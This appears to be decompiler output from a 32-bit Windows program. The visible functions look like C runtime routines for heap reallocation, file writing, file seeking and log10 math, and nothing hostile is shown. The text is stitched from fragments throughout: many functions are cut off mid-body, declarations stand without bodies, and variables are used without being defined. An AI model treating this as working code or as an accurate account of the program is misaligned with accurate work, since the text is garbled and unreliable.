void fun_407210(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28) {
void** v29;
void** v30;
void** esi31;
void** eax32;
void** v33;
void** eax34;
void** v35;
void** eax36;
v29 = reinterpret_cast<void**>(__return_address());
g416ec8 =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72) + 4);
g416ecc =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72) + 8);
g416ec4 =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72) + 0x21c);
v30 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx)) +
72) + 12;
fun_407930(ecx, 0x416ed0, 12, v30, 12, esi31, v29, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,
a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28);
eax32 = *reinterpret_cast<void***>(ecx);
v33 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(eax32) + 72) + 24;
fun_407930(0x101, 0x416150, 0x101, v33, 0x101, 0x416ed0, 12, v30, 12, esi31, v29, a2, a3,
a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23,
a24);
eax34 = *reinterpret_cast<void***>(ecx);
v35 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(eax34) + 72) + 0x119;
fun_407930(0x100, 0x416258, 0x100, v35, 0x100, 0x416150, 0x101, v33, 0x101, 0x416ed0,
12, v30, 12, esi31, v29, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17,
a18, a19, a20);
__asm__("lock xadd [eax], ecx");
if (!1 && (eax36 = image_base_, eax36 != 0x416358)) {
fun_406c46(0xffffffff, eax36, esi31, v29, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
}
image_base_ =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx)) + 72);
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72)) =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_ca
st<void***>(ecx)) + 72)) + 1;
return;
}
if (a5) {
if (a2) {
if (!a4 || reinterpret_cast<unsigned char>(a3) < reinterpret_cast<unsigned char>(a5)) {
fun_403de0(ecx, a2, 0, a3, edi35, esi36, ebp37, __return_address(), a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25,
a26, a27, a28, a29, a30, a31, a32, a33, a34);
if (a4) {
if (reinterpret_cast<unsigned char>(a3) >= reinterpret_cast<unsigned char>(a5)) {
eax38 = reinterpret_cast<void**>(22);
} else {
eax39 = fun_4060e8(ecx, edi35, esi36, ebp37, __return_address(), a2, a3, a4,
a5, a6);
v40 = reinterpret_cast<void**>(34);
goto addr_40799e_8;
}
} else {
eax39 = fun_4060e8(ecx, edi35, esi36, ebp37, __return_address(), a2, a3, a4, a5,
a6);
v40 = reinterpret_cast<void**>(22);
goto addr_40799e_8;
}
} else {
fun_4044a0(ecx, a2, a4, a5, edi35);
eax38 = reinterpret_cast<void**>(0);
}
} else {
eax41 = fun_4060e8(ecx, esi36, ebp37, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax41) = reinterpret_cast<void**>(22);
fun_40602c(ecx, esi36, ebp37, __return_address(), a2);
eax38 = reinterpret_cast<void**>(22);
goto addr_4079ae_12;
}
} else {
eax38 = reinterpret_cast<void**>(0);
goto addr_4079ae_12;
}
addr_4079ad_14:
addr_4079ae_12:
return eax38;
addr_40799e_8:
*reinterpret_cast<void***>(eax39) = v40;
fun_40602c(ecx, edi35, esi36, ebp37, __return_address());
eax38 = v40;
goto addr_4079ad_14;
}
edx3 = a1;
if (*reinterpret_cast<void***>(edx3)) {
do {
ecx4 = edx3;
esi5 = ecx4 + 2;
do {
ecx4 = ecx4 + 2;
} while (*reinterpret_cast<void***>(ecx4));
edx3 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(edx3 +
(reinterpret_cast<int32_t>(reinterpret_cast<unsigned char>(ecx4) - reinterpret_cast<unsigned
char>(esi5)) >> 1) * 2) + 2);
} while (*reinterpret_cast<void***>(edx3));
}
return edx3 + 2;
}
void fun_40922e(void** a1, void** a2, void** a3, void** a4, void** a5) {
int1_t zf6;
void** eax7;
void** esi8;
void** ebp9;
void** eax10;
v2 = reinterpret_cast<int32_t>(__return_address());
esp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
ecx4 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp3) + 4);
ecx5 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(ecx4) - eax6 & ~(eax7 - (eax8 +
reinterpret_cast<uint1_t>(eax9 < eax10 +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(ecx4) <
reinterpret_cast<uint32_t>(eax11))))));
eax12 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esp3) & 0xfffff000);
while (reinterpret_cast<uint32_t>(ecx5) < reinterpret_cast<uint32_t>(eax12)) {
eax12 = eax12 - 0x400;
}
*ecx5 = v2;
goto *ecx5;
}
void** fun_4085d7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** esi13;
void** eax14;
void** ebp15;
v12 = esi13;
if (a2 && (a2 != 0x40ff60 && (eax14 = *reinterpret_cast<void***>(a2 + 0xb0), !eax14))) {
fun_408133(ecx, a2, v12, ebp15, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
eax14 = fun_406c46(ecx, a2, a2, v12, ebp15, __return_address(), a2, a3, a4, a5, a6, a7,
a8, a9, a10, a11);
}
return eax14;
}
void** fun_409c4a(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** ebp14;
void** v15;
void** edi16;
void** edi17;
void** v18;
void** esi19;
void** esi20;
void** v21;
void** eax22;
void** eax23;
void** eax24;
void** eax25;
v12 = reinterpret_cast<void**>(__return_address());
v13 = ebp14;
v15 = edi16;
edi17 = a2;
if (edi17) {
v18 = esi19;
esi20 = a3;
if (esi20) {
if (reinterpret_cast<unsigned char>(esi20) <= reinterpret_cast<unsigned
char>(0xffffffe0)) {
do {
v21 = g417250;
eax22 = reinterpret_cast<void**>(HeapReAlloc(ecx, v21, 0, edi17, esi20));
if (eax22)
break;
eax23 = fun_4056fb(ecx, v21, 0, edi17, esi20);
} while (eax23 && (eax24 = fun_4088ef(ecx, esi20, v21, 0, edi17, esi20), ecx = esi20,
!!eax24));
goto addr_409c78_6;
} else {
addr_409c78_6:
eax25 = fun_4060e8(ecx, v18, v15, v13, v12, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax25) = reinterpret_cast<void**>(12);
goto addr_409c83_7;
}
} else {
fun_406c46(ecx, edi17, v18, v15, v13, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
goto addr_409c83_7;
}
} else {
eax22 = fun_408217(a3, v15, v13, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10);
goto addr_409c86_10;
}
addr_409c85_12:
addr_409c86_10:
return eax22;
addr_409c83_7:
eax22 = reinterpret_cast<void**>(0);
goto addr_409c85_12;
}
void fun_408c8c() {
int32_t ebp1;
void fun_40925b(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8) {
int1_t zf9;
void** eax10;
void** esi11;
void** ebp12;
void** eax13;
LeaveCriticalSection();
goto ebp2;
}
v2 = *reinterpret_cast<int32_t*>(ebp3 - 40);
fun_4093d6(v2);
return;
}
struct s86 {
signed char[848] pad848;
uint32_t f350;
};
v4 = reinterpret_cast<int32_t>(__return_address());
fun_405d20(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff0, a3, v5, v6, v7, v8,
ebp9, *reinterpret_cast<void***>(&v4));
eax10 = static_cast<uint32_t>((*v11)[a2]) & 0x8000;
if (v12) {
v13->f350 = v13->f350 & 0xfffffffd;
}
return eax10;
}
struct s87 {
signed char[16] pad16;
int32_t* f10;
};
v2 = *ebp3->f10;
fun_407c5b(v2);
return;
}
struct s88 {
uint32_t f0;
uint32_t f4;
uint32_t f8;
};
void** fun_40a21b(void** ecx, struct s88* a2, void** a3, void** a4, void** a5) {
void* ebp6;
uint32_t eax7;
uint32_t v8;
void** ecx9;
void** v10;
void** ebx11;
uint32_t ebx12;
void** v13;
void** esi14;
void* eax15;
void** v16;
void** edi17;
void** edi18;
void** v19;
void** v20;
void** v21;
void** v22;
void** eax23;
struct s88* esi24;
void** ecx25;
void** v26;
uint32_t ecx27;
void** v28;
void** v29;
int32_t v30;
void** eax31;
void** v32;
void* edx33;
void** eax34;
uint32_t v35;
void** v36;
uint32_t eax37;
uint32_t eax38;
void* v39;
void* v40;
void** eax41;
void* v42;
int32_t eax43;
void** v44;
int32_t eax45;
uint32_t v46;
uint32_t eax47;
*reinterpret_cast<void***>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<
unsigned char>(v20) * 4 + 0x417040)) + ebx12 + 46) = *reinterpret_cast<void***>(edi18);
*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(v20) * 4 + 0x417040)) + ebx12 + 45) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(v20) * 4 + 0x417040)) + ebx12 + 45) | 4);
esi24->f4 = esi24->f4 + 1;
goto addr_40a3bb_2;
}
void** fun_40a4b1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
uint32_t v11;
uint32_t ebx12;
void** ebx13;
void* eax14;
void** esi15;
int32_t ecx16;
void** eax17;
int32_t v18;
void** v19;
void* edi20;
void* edi21;
void* v22;
void* v23;
int32_t eax24;
void* v25;
void** eax26;
void** eax27;
v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
fun_40cb40(ecx);
v11 = ebx12;
ebx13 = a4;
eax14 = *reinterpret_cast<void**>((reinterpret_cast<signed char>(a3) >> 6) * 4 + 0x417040);
esi15 = a2;
ecx16 = *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(eax14) +
(reinterpret_cast<unsigned char>(a3) & 63) * 48 + 24);
*reinterpret_cast<void***>(esi15) = reinterpret_cast<void**>(0);
eax17 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(ebx13));
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi15 + 8) = reinterpret_cast<void**>(0);
v18 = ecx16;
v19 = eax17;
while (reinterpret_cast<unsigned char>(ebx13) < reinterpret_cast<unsigned char>(eax17)) {
edi20 = reinterpret_cast<void*>(ebp10 + 0xffffebfc);
do {
if (reinterpret_cast<unsigned char>(ebx13) >= reinterpret_cast<unsigned char>(eax17))
break;
++ebx13;
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ebx13) == 10)) {
*reinterpret_cast<void***>(esi15 + 8) = *reinterpret_cast<void***>(esi15 + 8) + 1;
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 1);
}
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 1);
eax17 = v19;
} while (reinterpret_cast<uint32_t>(edi20) < reinterpret_cast<uint32_t>(ebp10 + 0xfffffffb));
edi21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) -
reinterpret_cast<uint32_t>(ebp10 + 0xffffebfc));
v22 = reinterpret_cast<void*>(ebp10 + 0xffffebf4);
v23 = reinterpret_cast<void*>(ebp10 + 0xffffebfc);
eax24 = reinterpret_cast<int32_t>(WriteFile(ecx16, v23, edi21, v22, 0));
if (!eax24)
goto addr_40a575_9;
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi15 + 4)) + reinterpret_cast<uint32_t>(v25));
if (reinterpret_cast<uint32_t>(v25) < reinterpret_cast<uint32_t>(edi21))
goto addr_40a57d_11;
eax17 = v19;
ecx16 = v18;
}
addr_40a57d_11:
eax26 = fun_402f62(v11 ^ reinterpret_cast<uint32_t>(ebp10), v8, v7, a2, a3, a4, a5, a6);
return eax26;
addr_40a575_9:
eax27 = reinterpret_cast<void**>(GetLastError(ecx16, v23, edi21, v22, 0));
*reinterpret_cast<void***>(esi15) = eax27;
goto addr_40a57d_11;
}
void** fun_40a67e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
uint32_t v11;
uint32_t ebx12;
void* eax13;
void** ebx14;
void** edi15;
int32_t v16;
void** eax17;
void** v18;
void** eax19;
void** esi20;
void* eax21;
void* v22;
void* ecx23;
int32_t v24;
void* v25;
void** eax26;
void** esi27;
void** v28;
int32_t eax29;
void* v30;
void** eax31;
v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
fun_40cb40(ecx);
v11 = ebx12;
eax13 = *reinterpret_cast<void**>((reinterpret_cast<signed char>(a3) >> 6) * 4 + 0x417040);
ebx14 = reinterpret_cast<void**>(0);
edi15 = a4;
v16 = *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(eax13) +
(reinterpret_cast<unsigned char>(a3) & 63) * 48 + 24);
eax17 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(a4));
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 4) = reinterpret_cast<void**>(0);
v18 = eax17;
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0);
if (reinterpret_cast<unsigned char>(a4) >= reinterpret_cast<unsigned char>(eax17)) {
addr_40a798_2:
eax19 = fun_402f62(v11 ^ reinterpret_cast<uint32_t>(ebp10), v8, v7, a2, a3, a4, a5, a6);
return eax19;
} else {
while (1) {
esi20 = v18;
eax21 = reinterpret_cast<void*>(ebp10 + 0xfffff950);
do {
if (reinterpret_cast<unsigned char>(edi15) >= reinterpret_cast<unsigned
char>(esi20))
break;
edi15 = edi15 + 2;
if
(static_cast<uint32_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(edi15))) == 10) {
eax21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(eax21) + 2);
}
eax21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(eax21) + 2);
} while (reinterpret_cast<uint32_t>(eax21) < reinterpret_cast<uint32_t>(ebp10 +
0xfffffff8));
v22 = reinterpret_cast<void*>(ebp10 + 0xffffebf8);
ecx23 = reinterpret_cast<void*>(ebp10 + 0xfffff950);
v24 = reinterpret_cast<int32_t>(reinterpret_cast<uint32_t>(eax21) -
reinterpret_cast<uint32_t>(ecx23)) >> 1;
v25 = ecx23;
eax26 = reinterpret_cast<void**>(WideCharToMultiByte(0xfde9, 0, v25, v24, v22, 0xd55,
0, 0));
esi27 = a2;
v28 = eax26;
if (!eax26)
break;
do {
eax29 = reinterpret_cast<int32_t>(WriteFile(v16, reinterpret_cast<uint32_t>(ebp10 +
0xffffebf8) + reinterpret_cast<unsigned char>(ebx14), reinterpret_cast<unsigned char>(eax26) -
reinterpret_cast<unsigned char>(ebx14), ebp10 + 0xffffebf0, 0, 0xfde9, 0, v25, v24, v22, 0xd55,
0, 0));
if (!eax29)
goto addr_40a790_10;
ebx14 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx14) +
reinterpret_cast<uint32_t>(v30));
eax26 = v28;
} while (reinterpret_cast<unsigned char>(ebx14) < reinterpret_cast<unsigned
char>(eax26));
*reinterpret_cast<void***>(esi27 + 4) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi15) - reinterpret_cast<unsigned
char>(a4));
if (reinterpret_cast<unsigned char>(edi15) >= reinterpret_cast<unsigned char>(v18))
goto addr_40a798_2;
ebx14 = reinterpret_cast<void**>(0);
}
}
addr_40a790_10:
eax31 = reinterpret_cast<void**>(GetLastError(0xfde9, 0, v25, v24, v22, 0xd55, 0, 0));
*reinterpret_cast<void***>(esi27) = eax31;
goto addr_40a798_2;
}
LeaveCriticalSection();
goto ebp2;
}
void fun_40a86d() {
int32_t esi1;
fun_407c5b(esi1);
return;
}
void** fun_40ad1d(void** ecx, void** a2, void** a3, void** a4, int32_t a5) {
void** v6;
void** edi7;
void** esi8;
void** ebp9;
void** eax10;
int32_t v11;
void** ecx12;
int32_t eax13;
void** eax14;
uint32_t esi15;
void** eax16;
void** eax17;
v6 = reinterpret_cast<void**>(__return_address());
eax10 = fun_407d0f(ecx, a2, edi7, esi8, ecx, ecx, ebp9, v6);
if (!reinterpret_cast<int1_t>(eax10 == 0xffffffff)) {
v11 = a5;
ecx12 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 +
0xfffffff8);
eax13 = reinterpret_cast<int32_t>(SetFilePointerEx(eax10, a3, a4, ecx12, v11));
if (eax13) {
if ((reinterpret_cast<unsigned char>(ecx) & reinterpret_cast<unsigned char>(ecx)) ==
0xffffffff) {
addr_40ad42_4:
eax14 = reinterpret_cast<void**>(0xffffffff);
} else {
eax14 = ecx;
esi15 = (reinterpret_cast<unsigned char>(a2) & 63) * 48;
*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + esi15 + 40) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + esi15 + 40) & 0xfd);
}
return eax14;
} else {
eax16 = reinterpret_cast<void**>(GetLastError(eax10, a3, a4, ecx12, v11));
fun_4060b2(ecx12, eax16, eax10, a3, a4, ecx12, *reinterpret_cast<void***>(&v11));
goto addr_40ad42_4;
}
} else {
eax17 = fun_4060e8(a2, edi7, esi8, ecx, ecx, ebp9, v6, a2, a3, a4);
*reinterpret_cast<void***>(eax17) = reinterpret_cast<void**>(9);
goto addr_40ad42_4;
}
}
uint32_t fun_40adb6(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** esi14;
void** eax15;
void** v16;
void** edi17;
uint32_t edi18;
uint32_t eax19;
uint32_t eax20;
void** ebp21;
void** eax22;
uint32_t eax23;
void** v24;
uint32_t eax25;
void** eax26;
v12 = reinterpret_cast<void**>(__return_address());
v13 = esi14;
if (a2) {
eax15 = *reinterpret_cast<void***>(a2 + 12);
v16 = edi17;
edi18 = 0xffffffff;
eax19 = reinterpret_cast<unsigned char>(eax15) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax19) & 1) {
eax20 = fun_409d09(a2);
edi18 = eax20;
fun_40a092(ecx, a2, a2, v16, v13, ebp21, v12, a2, a3, a4, a5);
eax22 = fun_409288(ecx, a2, a2, a2, v16, v13, ebp21, v12);
eax23 = fun_40bb5e(ecx, eax22, a2, a2, a2, v16);
if (reinterpret_cast<int32_t>(eax23) >= reinterpret_cast<int32_t>(0)) {
if (*reinterpret_cast<void***>(a2 + 28)) {
v24 = *reinterpret_cast<void***>(a2 + 28);
fun_406c46(ecx, v24, v16, v13, ebp21, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11);
*reinterpret_cast<void***>(a2 + 28) = reinterpret_cast<void**>(0);
ecx = v24;
}
} else {
edi18 = 0xffffffff;
}
}
fun_40bc79(ecx, a2);
eax25 = edi18;
} else {
eax26 = fun_4060e8(ecx, v13, ebp21, v12, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax26) = reinterpret_cast<void**>(22);
fun_40602c(ecx, v13, ebp21, v12, a2);
eax25 = 0xffffffff;
}
return eax25;
}
void** fun_40af8e() {
void* esp1;
uint32_t edx2;
void** eax3;
uint32_t ecx4;
uint32_t ecx5;
void** eax6;
int32_t edx7;
void* edx8;
void* edx9;
void** eax10;
uint32_t ecx11;
esp1 = __zero_stack_offset();
edx2 = 0;
while (eax3 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax3) & 0x7f0), ecx4
= ecx5 - 1, ecx4 > 0x7fd) {
__asm__("movlpd xmm0, [esp+0x4]");
__asm__("movapd xmm1, [0x412240]");
__asm__("pextrw eax, xmm1, 0x0");
if (reinterpret_cast<unsigned char>(eax3) > reinterpret_cast<unsigned char>(0))
goto addr_40b14b_7;
if (ecx4 != 0xffffffff)
goto addr_40b108_9;
__asm__("movlpd xmm1, [0x412250]");
__asm__("mulsd xmm0, xmm1");
edx2 = 0xffffffcc;
}
__asm__("cvtsi2sd xmm6, ecx");
__asm__("unpcklpd xmm6, xmm6");
eax6 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax3) + (ecx4 - 0x3fe +
edx2 << 10));
if (!eax6) {
}
__asm__("movapd xmm1, [0x412280]");
__asm__("movapd xmm3, xmm0");
__asm__("movapd xmm2, [0x412290]");
__asm__("mulpd xmm1, xmm0");
__asm__("mulpd xmm3, xmm3");
__asm__("addpd xmm1, xmm2");
__asm__("movapd xmm2, [0x4122a0]");
__asm__("mulsd xmm3, xmm3");
__asm__("movapd xmm5, [0x412200]");
__asm__("mulpd xmm6, xmm5");
__asm__("movapd xmm5, [edx+0x412210]");
__asm__("andpd xmm4, xmm5");
__asm__("addpd xmm7, xmm6");
__asm__("addpd xmm7, xmm4");
__asm__("mulpd xmm1, xmm0");
__asm__("mulsd xmm3, xmm0");
__asm__("addpd xmm1, xmm2");
__asm__("movapd xmm2, [0x4122b0]");
__asm__("mulpd xmm2, xmm0");
__asm__("movapd xmm6, xmm7");
__asm__("unpckhpd xmm6, xmm6");
__asm__("mulpd xmm1, xmm3");
__asm__("movapd xmm0, xmm1");
__asm__("addpd xmm1, xmm2");
__asm__("unpckhpd xmm0, xmm0");
__asm__("addsd xmm0, xmm1");
__asm__("addsd xmm0, xmm6");
__asm__("addsd xmm0, xmm7");
__asm__("movlpd [esp+0x4], xmm0");
__asm__("fld qword [esp+0x4]");
return eax6;
addr_40b14b_7:
__asm__("movlpd xmm2, [0x412230]");
__asm__("divsd xmm2, xmm0");
__asm__("movlpd xmm1, [0x412260]");
edx7 = 8;
addr_40b19a_14:
__asm__("movlpd [esp+0x10], xmm1");
edx8 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp1) - 28 + 16);
edx9 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(edx8) + 16);
eax10 = fun_40b7e3(edx9, edx9, edx8, edx7);
__asm__("fld qword [esp+0x10]");
return eax10;
addr_40b108_9:
if (ecx4 > 0x7fe) {
ecx11 = ecx4 + 1 & 0x7ff;
if (ecx11 < 0x7ff || !(reinterpret_cast<unsigned char>(eax3) | ecx11 & 0xfffff)) {
__asm__("xorpd xmm1, xmm1");
__asm__("divsd xmm1, xmm1");
edx7 = 9;
goto addr_40b19a_14;
} else {
edx7 = 0x3e9;
goto addr_40b19a_14;
}
} else {
__asm__("movlpd xmm0, [esp+0x4]");
__asm__("movapd xmm1, [0x4121c0]");
__asm__("movapd xmm2, [0x412230]");
__asm__("andpd xmm0, xmm1");
__asm__("orpd xmm0, xmm2");
__asm__("pextrw eax, xmm2, 0x0");
if (eax3)
goto addr_40b13d_22;
}
edx7 = 0x3e9;
goto addr_40b19a_14;
addr_40b13d_22:
__asm__("fld qword [0x412268]");
return eax3;
}
uint32_t fun_40b688() {
uint32_t eax1;
uint32_t v2;
uint32_t v3;
void** fun_40b62c();
v3 = edx4;
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (zf5) {
if (eax6 & 0xfffff || a1) {
eax7 = fun_40b62c();
} else {
eax7 = reinterpret_cast<void**>(eax8 & 0x80000000);
if (!eax7) {
addr_40ab75_5:
zf9 = g417278 == 0;
if (!zf9) {
if (v3 != 0x27f) {
__asm__("fldcw word [esp]");
goto addr_40b6a9_8;
}
} else {
*reinterpret_cast<void**>(&eax7) = v3;
if (*reinterpret_cast<void**>(&eax7) == 0x27f)
goto addr_40b6d3_11; else
goto addr_40b6b5_12;
}
} else {
addr_40abb0_13:
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
eax7 = reinterpret_cast<void**>(1);
}
}
} else {
eax7 = a2;
if (v3 != 0x27f) {
__asm__("fldcw word [0x412368]");
}
if (!(reinterpret_cast<unsigned char>(eax7) & 0x7ff00000))
goto addr_40abc6_17; else
goto addr_40ab68_18;
}
addr_40abe1_19:
zf10 = g417278 == 0;
if (zf10) {
eax11 = fun_40b7a7("log10", v3);
return eax11;
}
addr_40b6a9_8:
return eax7;
addr_40b6d3_11:
return eax7;
addr_40b6b5_12:
*reinterpret_cast<void**>(&eax7) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax7)) & 32);
if (!*reinterpret_cast<void**>(&eax7) || (*reinterpret_cast<void**>(&eax7) =
reinterpret_cast<void*>(fpu_status_word12 & 32), *reinterpret_cast<void**>(&eax7) == 0)) {
__asm__("fldcw word [esp]");
goto addr_40b6d3_11;
} else {
eax13 = fun_40b7a7("log10", v3);
return eax13;
}
addr_40abc6_17:
if (reinterpret_cast<unsigned char>(eax7) & 0xfffff || a1) {
if (reinterpret_cast<unsigned char>(eax7) & 0x80000000)
goto addr_40abb0_13;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x4122ca]");
eax7 = reinterpret_cast<void**>(2);
goto addr_40abe1_19;
}
addr_40ab6f_26:
__asm__("fldlg2 ");
__asm__("fxch st0, st1");
__asm__("fyl2x ");
goto addr_40ab75_5;
addr_40ab68_18:
if (reinterpret_cast<unsigned char>(eax7) & 0x80000000)
goto addr_40abb0_13; else
goto addr_40ab6f_26;
}
void** fun_40b62c() {
uint32_t eax1;
v2 = *reinterpret_cast<int32_t*>(ebp3 - 32);
fun_4093d6(v2);
return;
}
struct s89 {
signed char[4] pad4;
uint32_t f4;
};
struct s90 {
signed char[4] pad4;
void** f4;
};
void** fun_40b645() {
void** eax1;
struct s89* edx2;
struct s90* edx3;
struct s91 {
signed char[8] pad8;
void*** f8;
};
struct s92 {
signed char[12] pad12;
void**** fc;
};
uint32_t fun_40bab4(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
int32_t ebp8;
void** v9;
struct s91* ebp10;
int32_t ebp11;
void** ecx12;
struct s92* ebp13;
void** eax14;
uint32_t esi15;
void** v16;
uint32_t eax17;
int32_t ebp18;
int32_t ebp19;
ebx5 = a2;
esi6 = reinterpret_cast<unsigned char>(ebx5) & 31;
if (!(*reinterpret_cast<unsigned char*>(&ebx5) & 8) || !(*reinterpret_cast<unsigned
char*>(&a4) & 1)) {
eax7 = reinterpret_cast<unsigned char>(ebx5) & reinterpret_cast<unsigned char>(a4);
if (!(*reinterpret_cast<unsigned char*>(&eax7) & 4)) {
if (!(*reinterpret_cast<unsigned char*>(&ebx5) & 1) || !(*reinterpret_cast<unsigned
char*>(&a4) & 8)) {
if (*reinterpret_cast<unsigned char*>(&ebx5) & 2 && *reinterpret_cast<unsigned
char*>(&a4) & 16) {
edi8 = 0;
if (*reinterpret_cast<unsigned char*>(&ebx5) & 16) {
edi8 = 1;
}
ecx = a3;
__asm__("fld qword [ecx]");
__asm__("fldz ");
__asm__("fucompp ");
if (!__intrinsic()) {
edi8 = 1;
} else {
__asm__("fld qword [ecx]");
__asm__("fstp qword [esp]");
fun_40c667(ecx, ecx, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4);
eax9 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(v10) + 0xfffffa00);
__asm__("fst qword [ebp-0x10]");
__asm__("fldz ");
if (reinterpret_cast<signed char>(eax9) >= reinterpret_cast<signed
char>(0xfffffbce)) {
__asm__("fcompp ");
edx11 = 0;
ax12 = fpu_status_word13;
if (!(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax12) + 1)
& 65)) {
edx11 = 1;
}
ecx = reinterpret_cast<void**>(0xfffffc03);
eax14 = v15 & 15 | 16;
*reinterpret_cast<int16_t*>(reinterpret_cast<int32_t>(&v16) + 2) =
*reinterpret_cast<int16_t*>(&eax14);
if (reinterpret_cast<signed char>(eax9) < reinterpret_cast<signed
char>(0xfffffc03)) {
ecx = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(0xfffffc03) -
reinterpret_cast<unsigned char>(eax9));
eax17 = v18;
do {
if (*reinterpret_cast<unsigned char*>(&v19) & 1 && !edi8) {
++edi8;
}
eax17 = eax17 >> 1;
v19 = eax17;
